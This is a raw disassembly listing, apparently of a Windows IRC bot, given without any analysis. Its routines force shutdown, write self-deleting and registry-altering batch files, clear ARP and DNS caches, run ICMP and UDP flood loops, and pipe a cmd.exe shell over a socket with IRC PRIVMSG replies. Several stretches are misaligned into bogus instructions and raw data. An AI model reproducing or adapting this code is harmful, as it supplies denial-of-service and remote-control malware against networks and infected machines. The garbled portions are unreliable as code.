cmp ebx, 0FFFFFFFFh
jz short near ptr loc_409DD1+1
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-10h]
push eax
push ebx
call near ptr 1360004h
mov edx, [ebx-75h]
sbb eax, offset dword_42106C
call ebx ; send
push 0
push edi
push 3
push 0
push 2
push 40000000h
push dword ptr [ebp+8]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short near ptr loc_409DD1+1
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-10h]
push eax
push esi
call near ptr 1380004h
rcl byte ptr [esi-1], 1
loc_409DD1: ; CODE XREF: seg000:00409D5Dj
; seg000:00409D84j ...
rcr dword ptr [edi+5Eh], cl
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_409DD7 proc near ; CODE XREF: seg000:0040E1EFp
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_413D4D
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_43A2C0 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_409DD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409DF9 proc near ; CODE XREF: seg000:0040C145p
; seg000:00412240p
var_72AF13BB = byte ptr -72AF13BBh
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_42C160, esi
push edi
jz short loc_409E1D
cmp ds:dword_43A448, esi
jnz short loc_409E1D
push esi
call sub_40B392
pop ecx
loc_409E1D: ; CODE XREF: sub_409DF9+13j
; sub_409DF9+1Bj
call sub_415142
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 3D0000h
dec eax
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4154CD
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe near ptr loc_409F7C+1
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4154CD
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 3D0000h
rcl byte ptr [edi-1], 15h
insb
adc [edx+0], al ; CODE XREF: sub_409DF9+12Bj
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415550
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_415550
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_438F9C
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call near ptr 3D0000h
nop
push eax
call near ptr 3D0000h
xchg eax, ecx
lea eax, [ebp+var_15C]
push eax
call ds:dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short near ptr loc_409F24+1
lea eax, [ebp+var_15C]
push 80h
push eax
call near ptr 3D0000h
loc_409F24: ; CODE XREF: sub_409DF9+118j
jge short near ptr loc_409EB1+2
test [esi+edi*8-72AF0001h], esp
test [eax+50FFFFFDh], esp
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_4154CD
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call near ptr 3D0000h
mov [ebp+var_72AF13BB], 45h
test al, 50h
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call near ptr 3D0000h
loc_409F7C: ; CODE XREF: sub_409DF9+72j
jge short loc_409FDD
pop esi
leave
retn
sub_409DF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F81 proc near ; CODE XREF: seg000:0040C697p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_415D50
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCAb3_bat ; "c:\\ab3.bat"
push eax
movsb
call sub_4154CD
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short loc_40A03B
lea eax, [ebp+var_4]
push esi
push eax
loc_409FDD: ; CODE XREF: sub_409DF9:loc_409F7Cj
lea eax, [ebp+var_1860]
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call near ptr 0D70004h
lds edx, [edi-1]
adc eax, offset dword_42106C
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_415550
add esp, 0Ch
lea ecx, [ebp+var_58]
mov [ebp+var_48], edi
mov [ebp+var_18], si
push 1
pop eax
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
call near ptr 0D90004h
pop ebx
loc_40A03B: ; CODE XREF: sub_409F81+55j
pop edi
pop esi
leave
retn
sub_409F81 endp
; =============== S U B R O U T I N E =======================================
sub_40A03F proc near ; CODE XREF: sub_4013E9+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_43A3B8 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40A067
push [esp+arg_0]
call ds:dword_43A3FC ; gethostbyname
test eax, eax
jnz short loc_40A060
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A060: ; CODE XREF: sub_40A03F+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A067: ; CODE XREF: sub_40A03F+Dj
retn
sub_40A03F endp
; =============== S U B R O U T I N E =======================================
sub_40A068 proc near ; CODE XREF: sub_40CB59+D6p
mov ecx, ds:dword_43A2A0
xor eax, eax
test ecx, ecx
jz short locret_40A076
call ecx ; DnsFlushResolverCache
locret_40A076: ; CODE XREF: sub_40A068+Aj
retn
sub_40A068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A077 proc near ; CODE XREF: seg000:loc_411F72p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call ds:dword_43A3F4 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40A13D
sub ecx, 32h
jz loc_40A136
sub ecx, 48h
jz short loc_40A0D7
sub ecx, 6Eh
jz short loc_40A0D0
loc_40A0B9: ; CODE XREF: sub_40A077+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42B3F0
push eax
call sub_4154CD
add esp, 0Ch
jmp short loc_40A117
; ---------------------------------------------------------------------------
loc_40A0D0: ; CODE XREF: sub_40A077+40j
push offset unk_42B3B8
jmp short loc_40A109
; ---------------------------------------------------------------------------
loc_40A0D7: ; CODE XREF: sub_40A077+3Bj
push [ebp+var_8]
call sub_415DA9
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_415550
add esp, 10h
cmp esi, edi
jz short loc_40A104
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call ds:dword_43A3F4 ; GetIpNetTable
cmp eax, edi
jz short loc_40A13D
jmp short loc_40A0B9
; ---------------------------------------------------------------------------
loc_40A104: ; CODE XREF: sub_40A077+79j
push offset unk_42B374
loc_40A109: ; CODE XREF: sub_40A077+5Ej
; sub_40A077+C4j
lea eax, [ebp+var_88]
push eax
call sub_4154CD
pop ecx
pop ecx
loc_40A117: ; CODE XREF: sub_40A077+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40B151
pop ecx
loc_40A127: ; CODE XREF: sub_40A077+C8j
; sub_40A077+DCj
push esi
call sub_415E1D
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A136: ; CODE XREF: sub_40A077+32j
push offset unk_42B330
jmp short loc_40A109
; ---------------------------------------------------------------------------
loc_40A13D: ; CODE XREF: sub_40A077+29j
; sub_40A077+89j
cmp [esi], edi
jbe short loc_40A127
lea ebx, [esi+4]
loc_40A144: ; CODE XREF: sub_40A077+DAj
push ebx
call ds:dword_43A3F0 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A144
jmp short loc_40A127
sub_40A077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A155 proc near ; CODE XREF: sub_401BD6+268p
; seg000:loc_40252Fp ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call ds:dword_43A31C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43A6AC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4154CD
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A155 endp
; =============== S U B R O U T I N E =======================================
sub_40A1AE proc near ; CODE XREF: seg000:004012FEp
; seg000:00401344p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40A1D7
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40A1CA: ; CODE XREF: sub_40A1AE+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40A1CA
pop edi
jmp short loc_40A1DB
; ---------------------------------------------------------------------------
loc_40A1D7: ; CODE XREF: sub_40A1AE+Aj
mov edx, [esp+4+arg_0]
loc_40A1DB: ; CODE XREF: sub_40A1AE+27j
test esi, esi
pop esi
jz short loc_40A1E5
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40A1E5: ; CODE XREF: sub_40A1AE+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40A1AE endp
; ---------------------------------------------------------------------------
loc_40A1FB: ; DATA XREF: seg000:0040FB6Do
push ebp
mov ebp, esp
mov eax, 10320h
call sub_415D50
mov eax, [ebp+8]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call ds:dword_43A304 ; IcmpCreateFile
mov [ebp+8], eax
lea eax, [ebp-0C0h]
push eax
call ds:dword_43A3B8 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40A256
lea eax, [ebp-0C0h]
push eax
call ds:dword_43A3FC ; gethostbyname
cmp eax, ebx
jz short loc_40A25C
loc_40A256: ; CODE XREF: seg000:0040A243j
cmp dword ptr [ebp+8], 0FFFFFFFFh
jnz short near ptr loc_40A2B8+1
loc_40A25C: ; CODE XREF: seg000:0040A254j
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-344h]
push offset unk_42B474
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-28h], ebx
jnz short loc_40A29C
push ebx
lea eax, [ebp-344h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-140h]
push eax
push dword ptr [ebp-144h]
call sub_412D32
add esp, 14h
loc_40A29C: ; CODE XREF: seg000:0040A27Aj
lea eax, [ebp-344h]
push eax
call sub_40B151
push dword ptr [ebp-30h]
call sub_415295
pop ecx
pop ecx
push edi
call near ptr 3D0000h
loc_40A2B8: ; CODE XREF: seg000:0040A25Aj
fdivr qword ptr [ebx]
retn
; ---------------------------------------------------------------------------
jz short loc_40A2C9
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-4], eax
jmp short loc_40A2CC
; ---------------------------------------------------------------------------
loc_40A2C9: ; CODE XREF: seg000:0040A2BBj
mov [ebp-4], esi
loc_40A2CC: ; CODE XREF: seg000:0040A2C7j
push 1Ch
lea eax, [ebp-20h]
push ebx
push eax
call sub_415550
or dword ptr [ebp-18h], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp-3Ch], eax
jle short loc_40A2EC
mov [ebp-3Ch], eax
loc_40A2EC: ; CODE XREF: seg000:0040A2E7j
cmp [ebp-38h], edi
jge short loc_40A2F4
mov [ebp-38h], edi
loc_40A2F4: ; CODE XREF: seg000:0040A2EFj
xor esi, esi
cmp [ebp-40h], ebx
jle short loc_40A321
loc_40A2FB: ; CODE XREF: seg000:0040A31Fj
push dword ptr [ebp-38h]
lea eax, [ebp-20h]
push 1Ch
push eax
push ebx
lea eax, [ebp-10320h]
push dword ptr [ebp-3Ch]
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+8]
call ds:dword_43A29C ; IcmpSendEcho
inc esi
cmp esi, [ebp-40h]
jl short loc_40A2FB
loc_40A321: ; CODE XREF: seg000:0040A2F9j
push dword ptr [ebp+8]
call ds:dword_43A430 ; IcmpCloseHandle
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-344h]
push offset unk_42B434
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-28h], ebx
jnz short loc_40A36A
push ebx
lea eax, [ebp-344h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-140h]
push eax
push dword ptr [ebp-144h]
call sub_412D32
add esp, 14h
loc_40A36A: ; CODE XREF: seg000:0040A348j
lea eax, [ebp-344h]
push eax
call sub_40B151
push dword ptr [ebp-30h]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
; ---------------------------------------------------------------------------
db 2Ah
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A387 proc near ; DATA XREF: seg000:0040FCB4o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_415D50
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
pop ecx
push 11h
push 2
push 2
call ds:dword_43A3F8 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call ds:dword_43A3B8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40A46C
lea eax, [ebp+var_B0]
push eax
call ds:dword_43A3FC ; gethostbyname
cmp eax, edi
jnz short loc_40A465
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B4F0
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A448
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412D32
add esp, 14h
loc_40A448: ; CODE XREF: sub_40A387+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40B151
push [ebp+var_20]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
sti
loc_40A465: ; CODE XREF: sub_40A387+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40A46F
; ---------------------------------------------------------------------------
loc_40A46C: ; CODE XREF: sub_40A387+6Ej
lea eax, [ebp+arg_0]
loc_40A46F: ; CODE XREF: sub_40A387+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40A48A
call sub_415529
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40A48D
; ---------------------------------------------------------------------------
loc_40A48A: ; CODE XREF: sub_40A387+F0j
push [ebp+var_24]
loc_40A48D: ; CODE XREF: sub_40A387+101j
call ds:dword_43A378 ; ntohs
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40A49F
mov [ebp+var_24], esi
loc_40A49F: ; CODE XREF: sub_40A387+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40A4AC
mov [ebp+var_24], eax
loc_40A4AC: ; CODE XREF: sub_40A387+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40A4C0
mov [ebp+var_28], esi
loc_40A4C0: ; CODE XREF: sub_40A387+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40A4E1
loc_40A4C7: ; CODE XREF: sub_40A387+158j
call sub_415529
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40A4C7
loc_40A4E1: ; CODE XREF: sub_40A387+13Ej
; sub_40A387+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40A540
push 0Bh
pop esi
loc_40A4EE: ; CODE XREF: sub_40A387+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_415529
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call ds:dword_43A3DC ; sendto
push [ebp+var_28]
call ds:dword_421060 ; Sleep
dec esi
jnz short loc_40A4EE
cmp [ebp+var_24], edi
jnz short loc_40A4E1
call sub_415529
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call ds:dword_43A378 ; ntohs
mov [ebp+var_E], ax
jmp short loc_40A4E1
; ---------------------------------------------------------------------------
loc_40A540: ; CODE XREF: sub_40A387+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B4B0
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A580
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412D32
add esp, 14h
loc_40A580: ; CODE XREF: sub_40A387+1D7j
lea eax, [ebp+var_334]
push eax
call sub_40B151
push [ebp+var_20]
call sub_415295
pop ecx
pop ecx
push edi
call near ptr 3D0000h
std
sub_40A387 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40A59D proc near ; CODE XREF: seg000:0040A683p
; sub_40A7E1+Cp
mov eax, ds:dword_43A6C4
push esi
mov esi, ds:dword_42106C
cmp eax, 0FFFFFFFFh
jz short loc_40A5B1
push eax
call esi ; CloseHandle
loc_40A5B1: ; CODE XREF: sub_40A59D+Fj
mov eax, ds:dword_43A6CC
cmp eax, 0FFFFFFFFh
jz short loc_40A5BE
push eax
call esi ; CloseHandle
loc_40A5BE: ; CODE XREF: sub_40A59D+1Cj
mov eax, ds:dword_43A6C0
cmp eax, 0FFFFFFFFh
jz short loc_40A5CB
push eax
call esi ; CloseHandle
loc_40A5CB: ; CODE XREF: sub_40A59D+29j
pop esi
retn
sub_40A59D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5CD proc near ; CODE XREF: seg000:0040B67Fp
; seg000:0041133Ep
var_17F68A40 = byte ptr -17F68A40h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_415CD0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push ds:dword_43A6C8
call near ptr 3D0000h
xchg al, [ebp+var_17F68A40]
mov eax, ds:33FFFFFFh
ror cl, 0C3h
push 1
pop eax
leave
retn
sub_40A5CD endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_438F9C
push dword ptr [ebp+0Ch]
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40A648
push 7D0h
call ds:dword_421060 ; Sleep
push dword ptr [ebp+10h]
lea eax, [ebp-200h]
push dword ptr [ebp+0Ch]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4154CD
add esp, 10h
jmp short loc_40A65F
; ---------------------------------------------------------------------------
loc_40A648: ; CODE XREF: seg000:0040A61Fj
push dword ptr [ebp+10h]
lea eax, [ebp-200h]
push offset aS_1 ; "%s"
push eax
call sub_4154CD
add esp, 0Ch
loc_40A65F: ; CODE XREF: seg000:0040A646j
lea eax, [ebp-200h]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-200h]
push eax
push dword ptr [ebp+8]
call ds:dword_43A3C8 ; send
test eax, eax
jg short loc_40A688
call sub_40A59D
loc_40A688: ; CODE XREF: seg000:0040A681j
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A68C: ; DATA XREF: sub_40A7E1+170o
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43A6D0
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp-4]
push edi
push edi
push eax
lea eax, [ebp-20Ch]
push esi
push eax
push ds:dword_43A6C4
call near ptr 3D0000h
or [ebp-647BF040h], al
; ---------------------------------------------------------------------------
dd 39000000h, 2B75FC7Dh, 50F8458Dh, 0A6C035FFh, 15E80043h
dd 8FFFFC59h, 0D74C085h, 3F87D81h, 0F000001h, 9985h, 0FF0A6A00h
dd 42106015h, 339DEB00h, 0FC7D39C0h, 0BC801076h, 0FFFDF405h
dd 54740AFFh, 0FC453B40h, 7589F072h, 858D56FCh, 0FFFFFDF4h
dd 21E85057h, 830000AEh, 458D0CC4h, 0FF5057F4h, 858DFC75h
dd 0FFFFFDF4h, 0C435FF50h, 0FF0043A6h, 42106815h, 74C08500h
dd 0F4858D6Dh, 50FFFFFDh, 435FF53h, 0E80043A7h, 0FFFFFEA1h
dd 0E90CC483h, 0FFFFFF38h, 0FC458940h, 0BC68AFEBh, 530042B5h
dd 0A70435FFh, 82E80043h, 0FFFFFFFEh, 0AE80875h, 830000ABh
dd 16A10C4h, 0FC586BE8h, 2E8E6FFh, 68FFFFFEh, 42B580h
dd 435FF53h, 0E80043A7h, 0FFFFFE59h, 0E80875FFh, 0AAE1h
dd 5710C483h, 0FC5843E8h, 3C68CFFFh, 530042B5h, 0A70435FFh
dd 36E80043h, 0FFFFFFFEh, 0BEE80875h, 830000AAh, 0E85710C4h
dd 0FFFC5820h
; ---------------------------------------------------------------------------
scasd
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7E1 proc near ; CODE XREF: seg000:0040B5CEp
; seg000:00411FFAp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40A59D
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call ds:dword_43A434 ; SearchPathA
test eax, eax
jz loc_40A8DB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, ds:dword_421108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40A8DB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40A8DB
mov edi, ds:dword_421104
push 3
push esi
push esi
push offset dword_43A6C8
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call near ptr 3D0000h
pop es
test eax, eax
jz short loc_40A8DB
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_415550
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_415550
mov eax, [ebp+var_4]
loc_40A899: ; DATA XREF: seg002:00424ED4o
; seg002:00424F18o ...
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_438F9C
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 3D0000h
mov ds:875C085h, eax
loc_40A8DB: ; CODE XREF: sub_40A7E1+2Fj
; sub_40A7E1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40A991
; ---------------------------------------------------------------------------
push [ebp+var_4]
mov edi, ds:dword_42106C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov ds:dword_43A6C4, eax
mov eax, [ebp+var_8]
mov ds:dword_43A6CC, eax
mov eax, [ebp+var_2C]
mov ds:dword_43A6C0, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov ds:dword_43A704, eax
jz short loc_40A91D
push [ebp+arg_4]
jmp short loc_40A91E
; ---------------------------------------------------------------------------
loc_40A91D: ; CODE XREF: sub_40A7E1+135j
push ebx
loc_40A91E: ; CODE XREF: sub_40A7E1+13Aj
push offset dword_43A6D0
call sub_4154CD
pop ecx
pop ecx
push esi
push 7
push offset dword_42B648
call sub_414F79
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov ds:dword_43F510[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset loc_40A68C
push esi
push esi
call ds:dword_42108C ; CreateThread
cmp eax, esi
mov ds:dword_43F51C[edi], eax
jnz short loc_40A98F
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset dword_42B600
push eax
call sub_4154CD
lea eax, [ebp+var_378]
push eax
call sub_40B151
add esp, 10h
loc_40A98F: ; CODE XREF: sub_40A7E1+185j
xor eax, eax
loc_40A991: ; CODE XREF: sub_40A7E1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40A7E1 endp
; =============== S U B R O U T I N E =======================================
sub_40A996 proc near ; CODE XREF: sub_407119+74p
; sub_40AAB5+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_43A70C
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_415A4A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40A996 endp
; =============== S U B R O U T I N E =======================================
sub_40A9FF proc near ; CODE XREF: sub_40AAB5+290p
push ebx
push esi
push edi
mov esi, 0F4240h
